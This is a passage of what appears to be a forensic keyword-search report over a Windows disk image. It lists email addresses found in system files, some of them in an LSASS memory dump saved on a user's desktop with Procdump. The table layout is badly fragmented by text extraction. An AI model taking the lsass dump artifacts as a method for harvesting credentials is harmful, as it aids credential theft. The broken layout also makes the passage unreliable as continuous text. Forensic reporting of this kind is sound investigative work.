shared document mod .0_x64__8wekyb3d8bbwe/msoimm.dll
savetolocationasync /img_disk.raw/vol_vol7/Program
«gtcauto@microsoft.com« Files/WindowsApps/microsoft.windowscommunicationsapps_17.93
shared document mod 30.21365.0_x64__8wekyb3d8bbwe/msoimm.dll
gtk-devel-list@gnome.org
Ta
Preview Source File
gs
ce circumstances to «gtk-devel- /img_disk.raw/vol_vol7/Program Files/VMware/VMware

list@gnome.org« d:\build\ob\bora-11 Tools/gobject-2.0.dll
ce circumstances to «gtk-devel- /img_disk.raw/vol_vol7/Program Files/VMware/VMware

list@gnome.org« d:\build\ob\bora-11 Tools/VMware VGAuth/gobject-2.0.dll
gtkmm-list@gnome.org
Ta
Preview Source File
gs
ut your platform to «gtkmm-list@gnome.org«. /img_disk.raw/vol_vol7/Program

thanks. glibmm__c Files/VMware/VMware Tools/glibmm-2.4.dll
guy@contoso.com
T
a
Preview Source File
g
s
envoyez-le là : /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«guy@contoso.com« shared/ink/Alphabet.xml
! richard :
envoyez-le là : /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«guy@contoso.com« t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e7
Page 98/145
T
a
Preview Source File
g
s
! richard : da144/Alphabet.xml
guy@fabrikam.com
T
a
Preview Source File
g
s
son adresse : /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«guy@fabrikam.c shared/ink/Alphabet.xml
om«.
son adresse : /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«guy@fabrikam.c t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e7da1
om«. 44/Alphabet.xml
hardlink@openssh.com
T
a
Preview Source File
g
s
penssh.com hardlink /img_disk.raw/vol_vol7/Program Files/OpenSSH/sftp-server.exe

«hardlink@openssh.com«
fsync fsync@openssh
statvfs@openssh.com /img_disk.raw/vol_vol7/Program Files/OpenSSH/sftp.exe

fsync@openssh.com l
statvfs@openssh.com /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/sftp.exe
fsync@openssh.com s
statvfs@openssh.com /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-
«hardlink@openssh.com« components-
fsync@openssh.com s onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e3
5c/sftp.exe
Page 99/145
harit@spectra.eng.hawaii.edu
T
a
Preview Source File
g
s
* thirumoorthy /img_disk.raw/vol_vol7/Windows/System32/drivers/rmcast.sys
(«harit@spectra.eng.hawaii.
edu«), aug 1995
* thirumoorthy /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
(«harit@spectra.eng.hawaii. rmcast_31bf3856ad364e35_10.0.17763.1_none_4543b616e0146b6c/r
edu«), aug 1995 mcast.sys
he@lper.sr
Ta
Preview Source File
gs
e0migxmlrules texts «he@lper.sr«,p /

2obj`mset patter img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/420
eca21891c0180_blobs.bin
hmac-md5-96-etm@openssh.com
T
a
Preview Source File
g
s
md5-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-keyscan.exe

md5-96-etm@openssh.com«
umac-64-etm@openssh
md5-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

umac-64-etm@openssh
md5-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

umac-64-etm@openssh
Page 100/145
T
a
Preview Source File
g
s
md5-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

md5-96-etm@openssh.com« keyscan.exe
umac-64-etm@openssh
md5-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

umac-64-etm@openssh
md5-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

md5-96-etm@openssh.com« components-
umac-64-etm@openssh onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7
e35c/ssh-keyscan.exe
md5-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

md5-96-etm@openssh.com« components-
umac-64-etm@openssh onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7
e35c/ssh.exe
hmac-md5-etm@openssh.com
T
a
Preview Source File
g
s
512-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-keyscan.exe

md5-etm@openssh.com« hmac-
md5-96-etm@ope
512-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

md5-96-etm@ope
512-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

md5-96-etm@ope
512-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

md5-96-etm@ope
Page 101/145
T
a
Preview Source File
g
s
keyscan.exe
512-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

md5-96-etm@ope
512-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

md5-etm@openssh.com« hmac- components-
md5-96-etm@ope onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e
35c/ssh-keyscan.exe

md5-etm@openssh.com« hmac- components-
md5-96-etm@ope onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e
35c/ssh.exe
hmac-sha1-96-etm@openssh.com
T
a
Preview Source File
g
s
ha1-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-keyscan.exe

sha1-96-etm@openssh.com«
hmac-sha2-256-etm@o
ha1-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

hmac-sha2-256-etm@o
ha1-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

hmac-sha2-256-etm@o
ha1-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

sha1-96-etm@openssh.com« keyscan.exe
hmac-sha2-256-etm@o
Page 102/145
T
a
Preview Source File
g
s
ha1-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

hmac-sha2-256-etm@o
ha1-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

sha1-96-etm@openssh.com« components-
hmac-sha2-256-etm@o onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7
ha1-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

e35c/ssh.exe
hmac-sha1-etm@openssh.com
T
a
Preview Source File
g
s
mac-128@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-keyscan.exe

sha1-etm@openssh.com« hmac-
sha1-96-etm@op
512-etm@openssh.com,«hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

sha1-etm@openssh.com«,umac-
64@openssh.com
mac-128@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

sha1-etm@openssh.com« hmac-
sha1-96-etm@op
mac-128@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

sha1-etm@openssh.com« hmac- keyscan.exe
sha1-96-etm@op
Page 103/145
T
a
Preview Source File
g
s
512-etm@openssh.com,«hmac- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe
sha1-etm@openssh.com«,umac-
64@openssh.com
mac-128@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

sha1-etm@openssh.com« hmac- components-
sha1-96-etm@op onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e
35c/ssh-keyscan.exe
512-etm@openssh.com,«hmac- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-
sha1-etm@openssh.com«,umac- components-
64@openssh.com onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7e
35c/ssh.exe
T
a
Preview Source File
g
s
-96-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-

hmac-sha2-512-etm@o

sha2-256-
etm@openssh.com«,hmac-sha2-
512-etm@o
-96-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

hmac-sha2-512-etm@o
-96-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

hmac-sha2-512-etm@o
Page 104/145
T
a
Preview Source File
g
s
sha2-256-
512-etm@o
-96-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

sha2-256- components-
etm@openssh.com«,hmac-sha2- onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7
512-etm@o e35c/ssh.exe
T
a
Preview Source File
g
s
256-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh-

hmac-md5-etm@openss

sha2-512-
etm@opens
256-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

hmac-md5-etm@openss
256-etm@openssh.com «hmac- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh-

hmac-md5-etm@openss
Page 105/145
T
a
Preview Source File
g
s
sha2-512-
etm@opens

hmac-md5-etm@openss onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7
sha2-512- components-
etm@openssh.com«,hmac-sha1- onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7
etm@opens e35c/ssh.exe
hostkeys-prove-00@openssh.com
T
a
Preview Source File
g
s
session_id_len == 0 «hostkeys- /img_disk.raw/vol_vol7/Program Files/OpenSSH/ssh.exe

prove-00@openssh.com« %s:
failed to prepa
s: buffer error: %s «hostkeys- /img_disk.raw/vol_vol7/Program Files/OpenSSH/sshd.exe

prove-00@openssh.com«
mm_answer_sign mm_a
session_id_len == 0 «hostkeys- /img_disk.raw/vol_vol7/Windows/System32/OpenSSH/ssh.exe

prove-00@openssh.com« %s:
failed to prepa
session_id_len == 0 «hostkeys- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_openssh-client-

prove-00@openssh.com« %s: components-
failed to prepa onecore_31bf3856ad364e35_10.0.17763.1_none_f0c3262e74c7
e35c/ssh.exe
Page 106/145
hrencryptcore__nosuchmailid__@dontexit.foo
T
a
Preview Source File
g
s
etkey /img_disk.raw/vol_vol7/Windows/SysWOW64/winipcfile.dll
virmipccrypt::«hrencryptcore__nos
uchmailid__@dontexit.foo«
virmdocumentipcimpl
etkey /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-
virmipccrypt::«hrencryptcore__nos windows-r..ment-client-v2-
uchmailid__@dontexit.foo« core_31bf3856ad364e35_10.0.17763.1_none_5133a422fa8e31
virmdocumentipcimpl 7d/winipcfile.dll
hxhelp@microsoft.com
T
a
Preview Source File
g
s
oaccesstoken %0d%0a /img_disk.raw/vol_vol7/Program

«hxhelp@microsoft.com«;olx- Files/WindowsApps/microsoft.windowscommunicationsapps_17.933
mail2bug@micros 0.21365.0_x64__8wekyb3d8bbwe/Office.UI.Xaml.Hx.Mail.dll
hzmester@freemail.hu
Ta
Preview Source File
gs
ght zoltan herczeg /img_disk.raw/vol_vol7/Program Files/VMware/VMware

(«hzmester@freemail.hu«). all rights Tools/open_source_licenses.txt
reserv
i8gs@c.cu
T
a
Preview Source File
g
s
hkwe<mi6 yn'@ y9b9 /img_disk.raw/vol_vol7/Windows/Speech_OneCore/Engines/TTS/en-

<«i8gs@c.cu«;f( mi%o US/M1033Zira.SPEECHUX.NUS
s)[yb) ,eht
Page 107/145
T
a
Preview Source File
g
s
hkwe<mi6 yn'@ y9b9 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

<«i8gs@c.cu«;f( mi%o t..peech-en-us-
s)[yb) ,eht onecore_31bf3856ad364e35_10.0.17763.1_none_ecc2dbcee106498b/M103
3Zira.SPEECHUX.NUS
iemand@microsoft.com
T
a
Preview Source File
g
s
jst om door te gaan /

«iemand@microsoft.com« img_disk.raw/vol_vol7/Windows/System32/DriverStore/FileRepositor
01.01.2000"emne emn y/prnms002.inf_amd64_6d7ddeebcacd2a6d/Amd64/FXSRES.DLL

«iemand@microsoft.com« img_disk.raw/vol_vol7/Windows/System32/spool/drivers/x64/3/FXS
01.01.2000"emne emn RES.DLL

«iemand@microsoft.com« img_disk.raw/vol_vol7/Windows/WinSxS/amd64_dual_prnms002.inf
01.01.2000"emne emn _31bf3856ad364e35_10.0.17763.1_none_de4a75df21a850fc/Amd6
4/FXSRES.DLL
iepo@microsoft.com
T
a
Preview Source File
g
s
<a /img_disk.raw/vol_vol7/Windows/SysWOW64/en-US/mshtml.dll.mui
href="mailto:«iepo@micros
oft.com«">iepo@microsoft.
com
ail <a /img_disk.raw/vol_vol7/Windows/System32/en-US/edgehtml.dll.mui

com
Page 108/145
T
a
Preview Source File
g
s
<a /img_disk.raw/vol_vol7/Windows/System32/en-US/mshtml.dll.mui
com
<a /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
href="mailto:«iepo@micros i..ng-legacy.resources_31bf3856ad364e35_11.0.17763.1_en-
oft.com«">iepo@microsoft. us_10cd95b58578bae4/mshtml.dll.mui
com
ail <a /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

href="mailto:«iepo@micros i..rendering.resources_31bf3856ad364e35_11.0.17763.1_en-
oft.com«">iepo@microsoft. us_319fd044c6706fc8/edgehtml.dll.mui
com
<a /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-
href="mailto:«iepo@micros i..ng-legacy.resources_31bf3856ad364e35_11.0.17763.1_en-
oft.com«">iepo@microsoft. us_1b224007b9d97cdf/mshtml.dll.mui
com
ieuser@microsoft.com
T
a
Preview Source File
g
s
ome page tab group. /img_disk.raw/vol_vol7/Windows/SysWOW64/en-US/ieframe.dll.mui

«ieuser@microsoft.com«
5the httpfolder beh
ome page tab group. /img_disk.raw/vol_vol7/Windows/System32/en-US/ieframe.dll.mui

«ieuser@microsoft.com«
5the httpfolder beh
ome page tab group. /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«ieuser@microsoft.com« ieframe.resources_31bf3856ad364e35_11.0.17763.1_en-
5the httpfolder beh us_b47dacee90b1a0bb/ieframe.dll.mui
Page 109/145
T
a
Preview Source File
g
s
ome page tab group. /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«ieuser@microsoft.com« ieframe.resources_31bf3856ad364e35_11.0.17763.1_en-
5the httpfolder beh us_bed25740c51262b6/ieframe.dll.mui
igca@sgdn.pm.gouv.fr
T
a
Preview Source File
g
s
france pari pm/sgdn /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«igca@sgdn.pm.gouv.fr«2121 Defender/Scans/mpcache-
31429230172 /f:t 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin
n1 dcssi1 igc/a1#0! /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«igca@sgdn.pm.gouv.fr«0 Defender/Scans/mpcache-
n1 dcssi1 igc/a1#0! /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«igca@sgdn.pm.gouv.fr«0
021213142923z 2010
n1 dcssi1 igc/a1#0! /
«igca@sgdn.pm.gouv.fr«0 img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsas
021213142923z 2010 s.dmp
n1 dcssi1 igc/a1#0! /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

021213142923z 2010
n1 dcssi1 igc/a1#0! /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

021213142923z 2010
n1 dcssi1 igc/a1#0! /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-

«igca@sgdn.pm.gouv.fr«0 windows-crypt32-
021213142923z 2010 dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/cry
Page 110/145
T
a
Preview Source File
g
s
pt32.dll
n1 dcssi1 igc/a1#0! /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-

«igca@sgdn.pm.gouv.fr«0 windows-crypt32-
021213142923z 2010 dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/cry
pt32.dll
ihjj@abcdef.hr
T
a
Preview Source File
g
s
w.abcdef.hr\ pošta: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«ihjj@abcdef.hr« shared/ink/Alphabet.xml
ćavarovi nis
w.abcdef.hr\ pošta: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«ihjj@abcdef.hr« t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
ćavarovi nis 7da144/Alphabet.xml
ime@example.com
T
a
Preview Source File
g
s
t online services : /img_disk.raw/vol_vol7/Program

«ime@example.com Files/WindowsApps/Microsoft.MicrosoftOfficeHub_17.8918.5926.0_x64__8we
«. ", a windows. kyb3d8bbwe/VFS/ProgramFilesCommonX64/Microsoft
in@dows.ag
Ta
Preview Source File
gs
3856ad36 4e35 =fil /

«in@dows.ag«;m9a;.d@; b;.d $path img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/42
Page 111/145
Ta
Preview Source File
gs
indepe@n.to
Ta
Preview Source File
gs
hrea model dspp /

\t$@«indepe@n.to« ?!?!0! img_disk.raw/vol_vol7/Windows/WinSxS/ManifestCache/42
h=4f3d1c70-b 0eca21891c0180_blobs.bin
info123@ektro.cz
T
a
Preview Source File
g
s
ujte nás na e-mail: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«info123@ektro.cz« (x shared/ink/Alphabet.xml
+y+z+
ujte nás na e-mail: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«info123@ektro.cz« (x t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
+y+z+ 7da144/Alphabet.xml
info@anf.es
T
a
Preview Source File
g
s
ac/anfserverca.crl0 /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows
«info@anf.es«0 Defender/Scans/mpcache-
info@anf.es0 yllm 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
ac/anfserverca.crl0 /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp
«info@anf.es«0
info@anf.es0 yllm
Page 112/145
T
a
Preview Source File
g
s
ac/anfserverca.crl0 /
«info@anf.es«0 img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.dm
info@anf.es0 yllm p
ac/anfserverca.crl0 /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll
«info@anf.es«0
info@anf.es0 yllm
ac/anfserverca.crl0 /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll
«info@anf.es«0
info@anf.es0 yllm
ac/anfserverca.crl0 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«info@anf.es«0 crypt32-
info@anf.es0 yllm dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt32.
dll
ac/anfserverca.crl0 /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-
«info@anf.es«0 crypt32-
info@anf.es0 yllm dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt32.
dll
info@cohowinery.com
T
a
Preview Source File
g
s
ieren sie uns unter /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«info@cohowinery.com shared/ink/Alphabet.xml
«. "holt die i
ieren sie uns unter /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«info@cohowinery.com t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
«. "holt die i e7da144/Alphabet.xml
Page 113/145
info@d-trust.net
T
a
Preview Source File
g
s
.ocsp.d-trust.net03 /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp
«info@d-trust.net«
http://www.d-trust.
.ocsp.d-trust.net03 /
«info@d-trust.net« img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.d
http://www.d-trust. mp
.ocsp.d-trust.net03 /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll
http://www.d-trust.
.ocsp.d-trust.net03 /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll
http://www.d-trust.
.ocsp.d-trust.net03 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«info@d-trust.net« crypt32-
http://www.d-trust. dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt32
.dll
.ocsp.d-trust.net03 /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-
«info@d-trust.net« crypt32-
http://www.d-trust. dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt32
.dll
info@e-szigno.hu
T
a
Preview Source File
g
s
zigno root ca 20091 «info@e- /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

szigno.hu«0 090616113018z Defender/Scans/mpcache-
2912 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
Page 114/145
T
a
Preview Source File
g
s
zigno root ca 20091 «info@e- /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

szigno.hu«0 090616113018z
2912
zigno root ca 20091 «info@e- /

szigno.hu«0 090616113018z img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.
2912 dmp
zigno root ca 20091 «info@e- /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

szigno.hu«0 090616113018z
2912
zigno root ca 20091 «info@e- /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

szigno.hu«0 090616113018z
2912
zigno root ca 20091 «info@e- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

szigno.hu«0 090616113018z crypt32-
2912 dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt
32.dll
zigno root ca 20091 «info@e- /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

szigno.hu«0 090616113018z crypt32-
2912 dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt
32.dll
info@globaltrust.info
T
a
Preview Source File
g
s
ce1 globaltrust1$0" /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«info@globaltrust.info«0 Defender/Scans/mpcache-
Page 115/145
T
a
Preview Source File
g
s
ce1 globaltrust1$0" /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«info@globaltrust.info«0
060807141235z 3609
ce1 globaltrust1$0" /
«info@globaltrust.info«0 img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass
060807141235z 3609 .dmp
ce1 globaltrust1$0" /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

060807141235z 3609
ce1 globaltrust1$0" /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

060807141235z 3609
ce1 globaltrust1$0" /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«info@globaltrust.info«0 crypt32-
060807141235z 3609 dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/cryp
t32.dll
ce1 globaltrust1$0" /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«info@globaltrust.info«0 crypt32-
060807141235z 3609 dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/cryp
t32.dll
info@incomedia.it
T
a
Preview Source File
g
s
fax:0125/252524 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«info@incomedia.it« a..ence-mitigations-
www.incomedia.it c1_31bf3856ad364e35_10.0.17763.1_none_fce8220f4a75d7c9/sysmain.s
db
Page 116/145
T
a
Preview Source File
g
s
fax:0125/252524 /img_disk.raw/vol_vol7/Windows/apppatch/sysmain.sdb
«info@incomedia.it«
www.incomedia.it
info@izenpe.com
T
a
Preview Source File
g
s
u -t'h ls97# dmmd /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«info@izenpe.com« 1g0e Defender/Scans/mpcache-
>izenpe s.a. - 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
asteiz1 izenpe.com1 /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«info@izenpe.com«0
030130230000z 1801
asteiz1 izenpe.com1 /
«info@izenpe.com«0 img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass
030130230000z 1801 .dmp
asteiz1 izenpe.com1 /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

030130230000z 1801
asteiz1 izenpe.com1 /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

030130230000z 1801
asteiz1 izenpe.com1 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«info@izenpe.com«0 crypt32-
030130230000z 1801 dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt
32.dll
Page 117/145
T
a
Preview Source File
g
s
asteiz1 izenpe.com1 /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«info@izenpe.com«0 crypt32-
030130230000z 1801 dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt
32.dll
info@netlock.hu
T
a
Preview Source File
g
s
mintt kozjegyzoiqa) /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«info@netlock.hu«30330014 Defender/Scans/mpcache-
71121215 sgh 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin
) tanusitvanykiado1 /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows
«info@netlock.hu«0 Defender/Scans/mpcache-
) tanusitvanykiado1 /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp
«info@netlock.hu«0
030330014711z 2212
) tanusitvanykiado1 /
«info@netlock.hu«0 img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.
030330014711z 2212 dmp
) tanusitvanykiado1 /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll
030330014711z 2212
) tanusitvanykiado1 /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll
030330014711z 2212
Page 118/145
T
a
Preview Source File
g
s
) tanusitvanykiado1 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-
«info@netlock.hu«0 crypt32-
030330014711z 2212 dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt
32.dll
) tanusitvanykiado1 /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-
«info@netlock.hu«0 crypt32-
030330014711z 2212 dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt
32.dll
info@netlock.net
T
a
Preview Source File
g
s
en vagy kerhetok az /img_disk.raw/vol_vol7/ProgramData/Microsoft/Windows

«info@netlock.net« e-mail Defender/Scans/mpcache-
cimen. warni 3F8B6E8E40CCEDF3C2DD9B1556607E93976E5D46.bin.5B
en vagy kerhetok az /img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.dmp

«info@netlock.net« e-mail
cimen. warni
en vagy kerhetok az /
«info@netlock.net« e-mail img_disk.raw/vol_vol7/Users/Craig/Desktop/Procdump/lsass.zip/lsass.d
cimen. warni mp
en vagy kerhetok az /img_disk.raw/vol_vol7/Windows/SysWOW64/crypt32.dll

cimen. warni
en vagy kerhetok az /img_disk.raw/vol_vol7/Windows/System32/crypt32.dll

cimen. warni
en vagy kerhetok az /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«info@netlock.net« e-mail crypt32-
cimen. warni dll_31bf3856ad364e35_10.0.17763.1_none_4c35abc135fd32d6/crypt3
Page 119/145
T
a
Preview Source File
g
s
2.dll
en vagy kerhetok az /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

«info@netlock.net« e-mail crypt32-
cimen. warni dll_31bf3856ad364e35_10.0.17763.1_none_568a56136a5df4d1/crypt3
2.dll
info@vub.ac.be
T
a
Preview Source File
g
s
ur een e-mail naar /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

"«info@vub.ac.be«" shared/ink/Alphabet.xml
zei hij. de
ur een e-mail naar /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

"«info@vub.ac.be«" t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1e
zei hij. de 7da144/Alphabet.xml
inna@fabrikam.com
T
a
Preview Source File
g
s
uusi osoitteeni on: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«inna@fabrikam.com«. shared/ink/Alphabet.xml
huimassa q-
uusi osoitteeni on: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

«inna@fabrikam.com«. t..nputpersonalization_31bf3856ad364e35_10.0.17763.1_none_3071fcdb1
huimassa q- e7da144/Alphabet.xml
Page 120/145
isaac_ruiz@users.cat
T
a
Preview Source File
g
s
ment em trobareu a: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

«isaac_ruiz@users.cat«. shared/ink/Alphabet.xml
a kenya i z
ment em trobareu a: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

